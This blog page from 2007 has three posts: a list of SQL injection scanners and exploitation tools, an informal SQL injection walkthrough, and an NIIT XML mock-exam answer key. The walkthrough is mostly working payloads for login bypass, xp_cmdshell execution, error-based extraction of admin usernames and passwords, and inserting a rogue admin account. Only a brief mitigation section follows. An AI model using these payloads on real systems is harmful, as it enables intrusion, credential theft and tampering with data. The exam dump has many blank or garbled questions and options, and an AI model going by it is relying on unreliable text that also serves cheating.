Pages

Advertisement

Thursday, July 26, 2007

Top 15 free SQL Injection Scanners

While the adoption of web applications for conducting online business has enabled companies to connect seamlessly with their customers, it has also exposed a number of security concerns stemming from improper coding. Vulnerabilities in web applications allow hackers to gain direct and public access to sensitive information (e.g. personal data, login credentials).

Web applications allow visitors to submit and retrieve data to/from a database over the Internet. Databases are the heart of most web applications. They hold data needed for web applications to deliver specific content to visitors and provide information to customers, suppliers etc.

SQL Injection is perhaps the most common web-application hacking technique which attempts to pass SQL commands through a web application for execution by the back-end database. The vulnerability is presented when user input is incorrectly sanitized and thereby executed.

Checking for SQL Injection vulnerabilities involves auditing your web applications and the best way to do it is by using automated SQL Injection Scanners. We’ve compiled a list of free SQL Injection Scanners we believe will be of a value to both web application developers and professional security auditors.

SQLIer - SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all. Get SQLIer.

SQLbftools - SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack. Get SQLbftools.

SQL Injection Brute-forcer - SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application. Get SQLLibf.

SQLBrute - SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries. Get SQLBrute.

BobCat - BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to. Get BobCat.

SQLMap - SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities. Get SQLMap.

Absinthe - Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection. Get Absinthe.

SQL Injection Pen-testing Tool - The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications. Get SQL Injection Pen-testing tool.

SQID - SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities. Get SQID.

Blind SQL Injection Perl Tool - bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection. Get Blind SQL Injection Perl Tool.

SQL Power Injector - SQL Power Injection helps the penetration tester to inject SQL commands on a web page. It’s main strength is its capacity to automate tedious blind SQL injection with several threads. Get SQL Power Injection.

FJ-Injector Framework - FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in web applications. It includes a proxy feature for intercepting and modifying HTTP requests, and an interface for automating SQL injection exploitation. Get FJ-Injector Framework.

SQLNinja - SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end database. Get SQLNinja.

Automagic SQL Injector - The Automagic SQL Injector is an automated SQL injection tool designed to help save time on penetration testing. It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned. Get Automagic SQL Injector.

NGSS SQL Injector - NGSS SQL Injector exploit vulnerabilities in SQL injection on disparate database servers to gain access to stored data. It currently supports the following databases: Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase. Get NGSS SQL Injector.

Wednesday, July 25, 2007

SQL Injection Walkthrough

well i see that sometimes ppl have problems with this so heres a walkthrough for u ppl.

1.1 What is SQL Injection?
> It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.

1.2 What do you need?
> Any web browser.

2.0 What you should look for?
> Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).

2.1 What if you can't find any page that takes input?
>You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
> Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:

- Login: hi' or 1=1--
- Pass: hi' or 1=1--

- http://duck/index.asp?id=hi' or 1=1--


If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
> Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
> Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5.0 How to get output of my SQL query?
> It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
> We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".
6.1 How to mine all column names of a table?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.
Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
>There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC

error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?

>When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
> Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:

- Input from users
- Parameters from URL
- Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.
Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

NIIT Online Mock Test Answers : XML

Now be happy to get all ur answers in just a seconds >> Best OF luck for Your Mock Exam

Jani has created an XML document which has a attribute named age as shown in the following code: Tove Jani Identify the

error in the XML document.

Options

1. The attribute value 29 should be inside "".

2. The element tag should not have attribute in it.

3. The attributes must be defined in the section.

4. The XML version should be declared at the end of the page.

Correct Answer :-> 1

Your XML document contains an empty element. Which one of the following options is the correct example of an empty

element?

Options

1.

2.

3. ""

4. XML element cannot be empty.

Correct Answer :-> 2

Harry is creating an XML document essentially consisting of data marked up using tags. Which one of the following is not a

valid name for the data that lies between the start-tag and end-tag pair?

Options

1.

2.

3.

4. <1dollar>

Correct Answer :-> 4

How is the XMLDOMAttribute object listed in the W3C specification?

Options

1. attribute

2. attr

3. XDOMattr

4. XMLDOMattr

Correct Answer :-> 2

Which object allows developers to navigate, query, and modify the content and structure of an XML document?

Options

1. XMLDOMNode

2. XMLDOMNodeList

3. XMLDOMDocument

4. XMLDOMNamedNodeMap

Correct Answer :-> 3

Your XML document contains an element containing attributes as shown in the following line of code: Which one of the

following statements is valid for a well-formed document?

Options

1. Attributes cannot be part of empty elements.

2. An element cannot have more than one attribute.

3. XML attribute values must always be enclosed in quotes.

4. An attribute name can be repeated in the same start tag for an element.

Correct Answer :-> 3

Identify the XML element that participates in a link by virtue of having as its parent, or being itself, a linking element.

Options

1. A global resource.

2. A local resource.

3. A remote resource.

4. An outbound resource.

Correct Answer :-> 2

Len wants to refer to a stylesheet named "mystyle.xsl" in his XML document. What is the correct way of referring to this

stylesheet?

Options

1.

2.

3.

4. mystyle.xsl

Correct Answer :-> 3

Maria wants the XML parser to ignore a certain section of her XML document. Which one of the following syntax should she

use?

Options

1.

2. Text to be ignored

3.

4. Text to be ignored

Correct Answer :-> 3

You are required to search and edit the value of an attribute. Which one of the following W3C technologies is best suited for

manipulating XML data programmatically?

Options

1. Extensible Stylesheet Language (XSL-FO)

2. XML Document Object Model (DOM)

3. XSL Transformations (XSLT)

4. XML Path Language (XPath)

Correct Answer :-> 2

You have specified the version and the character encoding that your XML document uses by using an declaration. Which one

of the following statements is valid with respect to XML declarations?

Options

1. An XML document can have only one declaration and it can be placed anywhere in the document.

2. An XML document can have only one declaration and it should be the first line in the document.

3. An XML document can have any number of declarations provided they are at the top of the document.

4. An XML document can have any number of declarations and they can be anywhere in the document.

Correct Answer :-> 2

You are providing comments in all of your XML documents to make it easy for other users to read. Which one of the following

XML comments is syntactically correct?

Options

1.

2.

3.

4.

Correct Answer :-> 4

John is executing a series of lengthy SQL statements read from his XML document against a database server. The statements

contain reserved XML characters. Which one of the following represents the best way to code these reserved characters in the

XML document?

Options

1. Enclose the SQL statements inside an XML CDATA section.

2. Rewrite the SQL statements to avoid use of XML-reserved characters.

3. An XML processor will automatically handle the reserved characters.

4. A reserved character can never be used as a value.

Correct Answer :-> 1

Nick is using XML namespaces to remove ambiguity for the elements in his XML sources. Which one of the following is used

to make a namespace unique?

Options

1. The xmlns namespace keyword.

2. A Uniform Resource Identifier (URI).

3. The Schema element.

4. An XML Vocabulary.

Correct Answer :-> 2

You are required to query a very large read-only XML file programmatically. System memory is extremely limited. Which one of

the following programming interfaces would be most useful in this scenario?

Options

1. DOM

2. XSLT

3. XPath

4. XMLReader

Correct Answer :-> 4

Your middleware application receives XML data from a wide variety of sources and needs to query the received data

intelligently. Which one of the following specifications would be the most appropriate mechanism for querying a broad

spectrum of XML data sources?

Options

1. XQL

2. XQuery

3. XPath

4. XSLT

Correct Answer :-> 2

Craig is working on transforming a Word document into an XML document. Which one of the following specifications is best

suited for transforming the XML document into a different format and structure?

Options

1. XSL Transformations (XSLT)

2. XSL Formatting Objects (XSL-FO)

3. XPath

4. XQL

Correct Answer :-> 1

Harold is using an XPath expression. His document is represented as a tree-like structure where location paths return sets of

nodes. What is the XPath term that is used in location path to specify the tree relationship between the nodes selected by the

location step and the context node?

Options

1. Predicates

2. Result Set

3. Node test

4. Axes

Correct Answer :-> 4

Jack wants to print the information contained in the XML tree nodes. He needs to provide an absolute path of the document

containing the context node. Which one of the following characters followed by relative path represents an absolute path to the

required element?

Options

1. /

2. //

3. *

4. @

Correct Answer :-> 1

Tom wants to extend XPath for use in URI fragment identifiers that are useful for defining links between documents. Which one

of the following XML technologies is best suited for this task?

Options

1. XSL-FO

2. XSLT

3. XPointer

4. XQuery

Correct Answer :-> 3

Your B2B application is required to use only the style sheet languages that are recommended by World Wide Web Consortium

(W3C) to present the application data to the disparate business processes. Which one of the following is not a W3C

recommendation and may not be used in the development of this B2B application?

Options

1. Extensible Stylesheet Language (XSL).

2. Extensible Stylesheet Language Transformations (XSLT).

3. Extensible Stylesheet Language Formatting Objects (XSL-FO).

4. XML Path Language (Xpath).

Correct Answer :-> 1

A style sheet is implemented on Microsoft Windows XP operating system that has been upgraded with Microsoft XML

processor (MSXML) version 4.0. Which one of the following URIs should be used in namespace declaration of the style sheet?

Options

1. http://www.w3.org/TR/WD-xsl

2. http://www.w3.org/XSL/WD-xsl

3. http://www.w3.org/TR/1998/XSL/Transform

4. http://www.w3.org/1999/XSL/Transform

Correct Answer :-> 4

Dan is using XQuery to perform query operations on an XML document that has an attached XML Schema Definition (XSD).

The schema has ID, IDREF and IDREFS node types referring to attributes of elements in the XML. Which one of the following

is the XQuery dereference operator?

Options

1. --

2. ==

3. ->

4. =>

Correct Answer :-> 4

Pam is required to encapsulate the database schema from the end users and hide the Uniform Resource Locators (URL)

carrying queries. Which XML feature is best suited in her application to handle this kind of security while processing the query?

Options

1. Hypertext Transfer Protocol (HTTP) access to the database.

2. XML-Data Reduced (XDR) schema support for queries.

3. XML Structure Definition Language (XSD) and XPath support for queries.

4. Read or write data in XML format.

Correct Answer :-> 3

A company has submitted their new software development language for standardization to the W3C. Before using the

language for production systems, the language technology specification must undergo several stages at W3C. Which one of

the following is the correct technology specification stage at which the technology can be used in production systems?

Options

1. Last Call Working Draft

2. Candidate Recommendation

3. Proposed Recommendation

4. W3C Recommendation

Correct Answer :-> 4

You are working on a recently released version of Microsoft Internet Explorer (IE). When you installed IE, it installed a version

of Microsoft XML Core Services (MSXML) processor available at the time of its release. You discover that there is a more

recent version of the MSXML processor published on the Microsoft downloads page. What is the primary reason for Microsoft

to publish another version of MSXML in its download page?

Options

1. MSXML processor development parallels W3C XML activity and in between W3C published another standard related to

XML.

2. MSXML processor supplied with the software is a beta version and the Microsoft download page contains the release

version.

3. The Microsoft download page contains the complete version of MSXML processor and the supplied software has only a

minimal version.

4. Microsoft added a few more technologies in addition to the technologies published by W3C.

Correct Answer :-> 1

You are using XML and XML based menu systems for content management. You are required to reduce the number of pages

on the Web site. Which one of the following techniques is best suited for effective content management?

Options

1. Embedding content and XML based menu systems in the Web pages.

2. Data storage in a database that supports XML and XML based menu systems.

3. Using Windows based menu systems and stored procedures.

4. Data storage only in the database server.

Correct Answer :-> 2

A software company providing enterprise solutions is implementing standards based XML Web Service Architecture because

they want to utilize the features provided by Web services. Identify the significant factor that would have influenced the

company to use XML Web Service Architecture.

Options

1. Platform and Language independence

2. Easy implementation

3. Robust-security

4. Existing components can be directly transformed into Web services

Correct Answer :-> 1

Brian is a seasoned HTML programmer and finds that XML has some similarities with HTML. Identify the similarities between

XML and HTML?

Options

1. Consists of text only and describes data.

2. Uses attributes to mark data and allows nesting of tags.

3. Creates own elements and derived from Standard Generalized Markup Language (SGML).

4. Allows nesting of tags and creates own elements.

Correct Answer :-> 2

Your XML document is a valid instance of the vocabulary expressed by the XML schema. You are required to strictly follow the

XML related technology standards recommendations from W3C. Which one of the following schemas is the current W3C

recommendation and supercedes the other schemas for validating XML schemas?

Options

1. Document type definition (DTD)

2. XML-Data Reduced (XDR)

3. XML Schema Definitions (XSD)

4. Schema Object Model (SOM)

Correct Answer :-> 3

A transportation company has a large network connecting its branches in Europe and North America. Each branch is

considered as a unit that passes data from one point to another within the network. What is validated at the point where the

process of data exchange is occurring among the company and its units?

Options

1. The format and completeness of data before sending it to a Web server.

2. The incoming data against a schema before processing it further.

3. The content against business logic before processing it further.

4. No validation required between the units.

Correct Answer :-> 2

You are creating an XML document that has to be both well-formed and valid. To do this, you are adhering to the logical

structure described in the DTD and referring to an inline DTD from your well-formed document instance. How do you recognize

a reference to an inline DTD?

Options

1. The inline DTD is referenced just after the XML declaration.

2. The SYSTEM keyword indicates that the schema is inline.

3. The # sign appearing before the schema name indicates that the schema is inline.

4. DOCTYPE declaration at the top of your XML document indicates that the schema is inline.

Correct Answer :-> 1

You have the following declaration in your schema definition: Which one of the following statements is correct?

Options

1. OrderTime is the name of the element type dateTime.

2. OrderTime can occur any number of times but cannot be zero because maxOccurs="*".

3. OrderTime cannot occur because minOccurs="0".

4. The dateTime indicates the current date and time when referenced.

Correct Answer :-> 1

There are inherent database operations that include querying and manipulating the data in an ongoing project. Which one of

the following technologies is not suitable for enabling the applications to retrieve data from the repository?

Options

1. XML Path Language (XPath)

2. Hypertext Markup Language (HTML)

3. XML Query

4. SQL

Correct Answer :-> 2

A software development company has chosen XQuery as the preferred query language, though it has just been published as a

W3C working draft to be reviewed by W3C Members. Which one of the following facts would have helped the company to

select XQuery?

Options

1. XQuery is foreseen as the preferred query language for process-centric tasks.

2. XQuery has a self-defining and self-modifying capabilities like HTML.

3. XQuery is associated with technologies like XPath 2.0 and XSD.

4. XQuery can use advanced query environments with graphical interfaces.

Correct Answer :-> 3

An email service provider is currently using W3C recommended XSLT 1.0 to provide email functionalities and database

operations. For the new enhancements, the service provider is considering the capabilities offered by future XSLT. Which one

of the following enhancements is planned by W3C for XSLT that can be implemented by the email service provider?

Options

1. Case-sensitive comparisons

2. Sorting of data

3. Filtering data

4. DTD support in the data model

Correct Answer :-> 4

Review the following XML document. Richter 59.95 06/06/2006 IBH VA The XML processor is ignoring the statement "".

Identify the XPath node type of the preceding statement.

Options

1. Attribute

2. Comment

3. Element

4. ProcessingInstruction

Correct Answer :-> 4

An XPath expression is used to determine the right car from the given choices in the following XML source: Corniche 2001

400000 Maranello 2001 300000 Azure 2002 350000 Vanquish 2003 250000 Which one of the following XPath expressions

selects only the 2001 Ferrari model from the given choices?

Options

1. /cars/[make = Ferrari]/car

2. /cars/car[year = 2001 or year = 2002 and price < 350000 and price >= 250000]

3. /cars/car[year > 2000 and price < 350000 or price >= 250000]

4. /cars [year <= 2003 and price < 350000 or price >= 250000]/car

Correct Answer :-> 2

Tracy is using several instances of DOM in her application. Which one of the following XML DOM extended classes provides

methods for performing operations that are independent of any particular instance of DOM?

Options

1. XmlImplementation

2. XmlAttribute

3. XmlEntity

4. XmlNotation

Correct Answer :-> 1

How many parts does the Linking specification for XML contain?

Options

1. One

2. Two

3. Three

4. Four

Correct Answer :-> 2

Identify the new specification designed to link to portions of a document without linking to the entire document.

Options

1. show

2. out-of-line

3. XLink

4. XPointer

Correct Answer :-> 4

Which syntax should you use to create a container element that can contain only character type data?

Options

1.

2.

3.

4.

Correct Answer :-> 3

Identify the XML document component represented by the syntax:

Options

1. Content

2. Comment

3. Attribute

4. Element

Correct Answer :-> 2

Which XSL element allows you to evaluate a script expression?

Options

1. The eval element

2. The if element.

3. The choose element.

4. The otherwise element.

Correct Answer :-> 1

Which one of the following statement declares an attribute with the default values?

Options

1.

2.

3.

4.

Correct Answer :-> 4

You have written the following line of code in your XML document: . Which one of the following component contains the text

"My Title"?

Options

1. Attribute

2. Comment

3. Element

4. Content

Correct Answer :-> 4

Which attribute of XLink represents the resource targeted by the link?

Options

1. title

2. role

3. href

4. action

Correct Answer :-> 3

Shelly needs to represent a local extended link in her document. Which link type should she use?

Options

1. Simple

2. Resource

3. Arc

4. Locator

Correct Answer :-> 2

Jonathan needs to create a single-directional link between an element in a source document to a target document. Which type

of link should he use?

Options

1. Locator

2. Extended

3. Resource

4. Simple

Correct Answer :-> 4

You want to change the text of the last node element in your XML document to "lastn". Which one of the following options

should you use?

Options

1. root.childNodes.item(0).lastChild.item = "lastn"

2. root.childNodes.item(1).lastChild.text = "lastn"

3. root.childNodes.item(0).lastChild.text = "lastn"

4. root.childNodes.item(1).lastElement.item = "lastn"

Correct Answer :-> 3

Which DOM object should you use to iterate and index access operations on a collection of objects?

Options

1. Document Object

2. Node Object

3. NodeList Object

4. NamedNodeMap object

Correct Answer :-> 3

Which one of the following links should you use to create multidirectional links between a large number of documents?

Options

1. Simple

2. Arc

3. Extended

4. Locator

Correct Answer :-> 3

Which attribute of XLink allows you to specify the link timing?

Options

1. role

2. show

3. actuate

4. type

Correct Answer :-> 3

. Which rule has he violated?

Mike has written the following XML code:

When the going gets

tough, the tough gets

going.

Chicago Michigan

Options

1. Empty tags need a slash (/) character before the closing angle bracket (>).

2. All attribute values must be enclosed in quotation marks.

3. Tags are case sensitive and must match each other in every implementation.

4. Tags should not overlap.

Correct Answer :-> 3

Identify the following XML element:

Options

1. Unrestricted

2. Container

3. Empty

4. Mixed Content

Correct Answer :-> 1

Jack has written the following XML code: 3737 . Which component of an XML document does doj represent if empcode is the

element whose content is 3737?

Options

1. Content

2. Comment

3. Attribute

4. Element

Correct Answer :-> 3

Which components of an XML document should you use to obtain information about the elements and attributes defined in the

DTD?

Options

1. Comment Entries

2. Element Declarations

3. Entity Declarations

4. Attribute Entries

Correct Answer :-> 1

Which type of element is represented by the following syntax: ?

Options

1. Empty

2. Unrestricted

3. Container

4. Mixed Content

Correct Answer :-> 3

Which component of an XML document does &TOI; represent in the displayed code segment? &TOI; is one of the best-selling

newspapers

Options

1. Comment

2. Element

3. Entity

4. Attribute

Correct Answer :-> 3

Which one of the following options represents a collection of related subforms and processing rules?

Options

1. Template

2. Form

3. FrameSet

4. Collection

Correct Answer :-> 1

Identify the MS proprietary data-binding technology that links databases directly to Web pages.

Options

1. XOM

2. DOM

3. DSO

4. XML

Correct Answer :-> 3

Which tag implements a CSS rule for an XML element?

Options

1. Para {font-family:Times}

2. xml:version FontFamily:Times

3. .Para (font-family:Times)

4. XSL:text styles="CSS/Font:Times

Correct Answer :-> 1

Which Java library is designed to generate a DTD from an XML document?

Options

1. XML Descriptors by Example (XDbE)

2. Data Convertors by Example (DCbE)

3. DTD to XML (DTDtXML)

4. Data Descriptors by Example(DDbE)

Correct Answer :-> 4

. Which rule has been violated?

You have written the following XML code: Wish you happy learning.

Atlanta Georgia

Options

1. Empty tags need a slash (/) before the closing angle bracket (>).

2. All values of the attribute must be enclosed within double quotation marks.

3. Tags are case-sensitive and must match each other in every implementation.

4. Tags should not overlap.

Correct Answer :-> 1

Identify the function of standalone = "yes" in the following code:

Options

1. The segment specifies the document type.

2. The segment is used for forward compatibility information.

3. The segment indicates the standard character set for a language.

4. The segment indicates whether a browser needs to read from an internal or external DTD before it can parse the

markup data.

Correct Answer :-> 4

. Which rule has she violated?

Angela has written the following XML code: When the going gets tough, the

tough gets going.

Colorado Denver

Options

1. Empty tags need a slash (/) before the closing angle bracket (>).

2. All attribute values must be enclosed in quotation marks.

3. Tags are case sensitive and must match each other in every implementation.

4. Tags should not overlap.

Correct Answer :-> 2

Which component should Brian use to describe the content of an XML document?

Options

1. Attribute

2. Content

3. Element

4. Comment

Correct Answer :-> 3

Which component of an XML document enables you to add notes to the document?

Options

1. Attribute

2. Element

3. Content

4. Comment

Correct Answer :-> 4

Identify the correct syntax for declaring an attribute where the value of the attribute date of joining (doj) is "2001"and empname

is "John Doe"?

Options

1. John Doe

2. <;/empname>

3. John Doe

4. John Doe

Correct Answer :-> 4

Which component in an XML document represents the actual information between tags?

Options

1. Attribute

2. Element

3. Content

4. Comment

Correct Answer :-> 3

Mary has written the following XML code:

No wise man ever wished to

be younger.

Michigan Chicago . Which

rule has she violated?

Options

1. Empty tags need a slash (/) before the closing angle bracket (>).

2. All attribute values must be enclosed within double quotation marks.

3. Tags should not overlap.

4. Tags are case-sensitive and must match each other in each implementation process.

Correct Answer :-> 3

Select an XML application that allows you to make 2D and 3D interactive animation.

Options

1. JSML

2. Chrome

3. CML

4. WML

Correct Answer :-> 2

Which one of the following options is a valid XML element name?

Options

1.

2.

3.

4.

Correct Answer :-> 4

Which is the basic building block of DSSSL style sheets?

Options

1. Flow Objects

2. Markup Objects

3. SMIL

4. XML

Correct Answer :-> 1

What is a character string that identifies one end of a link known as in XML?

Options

1. an identifier

2. an anchor

3. a link

4. a locator

Correct Answer :-> 4

Which one of the following options is used for describing and constraining the content of XML documents?

Options

1. XPointers

2. XLink

3. XML Schemas

4. XSQL

Correct Answer :-> 3

Which markup language is used to integrate multimedia objects?

Options

1. XML

2. SMIL

3. SGML

4. MML

Correct Answer :-> 2

Which component of an XML document should John use to provide additional information about elements?

Options

1. Attribute

2. Element

3. Content

4. Comment

Correct Answer :-> 1

